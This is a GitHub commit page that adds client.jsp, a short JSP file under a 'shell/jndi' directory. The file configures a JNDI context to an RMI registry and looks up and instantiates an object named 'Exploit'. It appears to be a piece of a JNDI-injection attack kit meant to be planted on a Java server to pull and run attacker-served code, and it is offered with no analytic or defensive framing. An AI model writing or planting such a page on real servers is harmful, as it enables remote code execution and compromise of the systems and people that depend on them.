Skip to content

Commit 7354873

Browse files
authored
Create client.jsp
1 parent df5562a commit 7354873

1 file changed

Lines changed: 8 additions & 0 deletions

File tree

shell/jndi/client.jsp

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*,java.beans.*,java.lang.*,java.rmi.*,java.rmi.server.*,java.rmi.registry.*,javax.naming.*"%>
2+
<%
3+
System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
4+
System.setProperty(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");
5+
Context ctx = new InitialContext();
6+
Object obj = ctx.lookup("Exploit");
7+
System.out.println(obj.toString());
8+
%>

0 commit comments

Comments
 (0)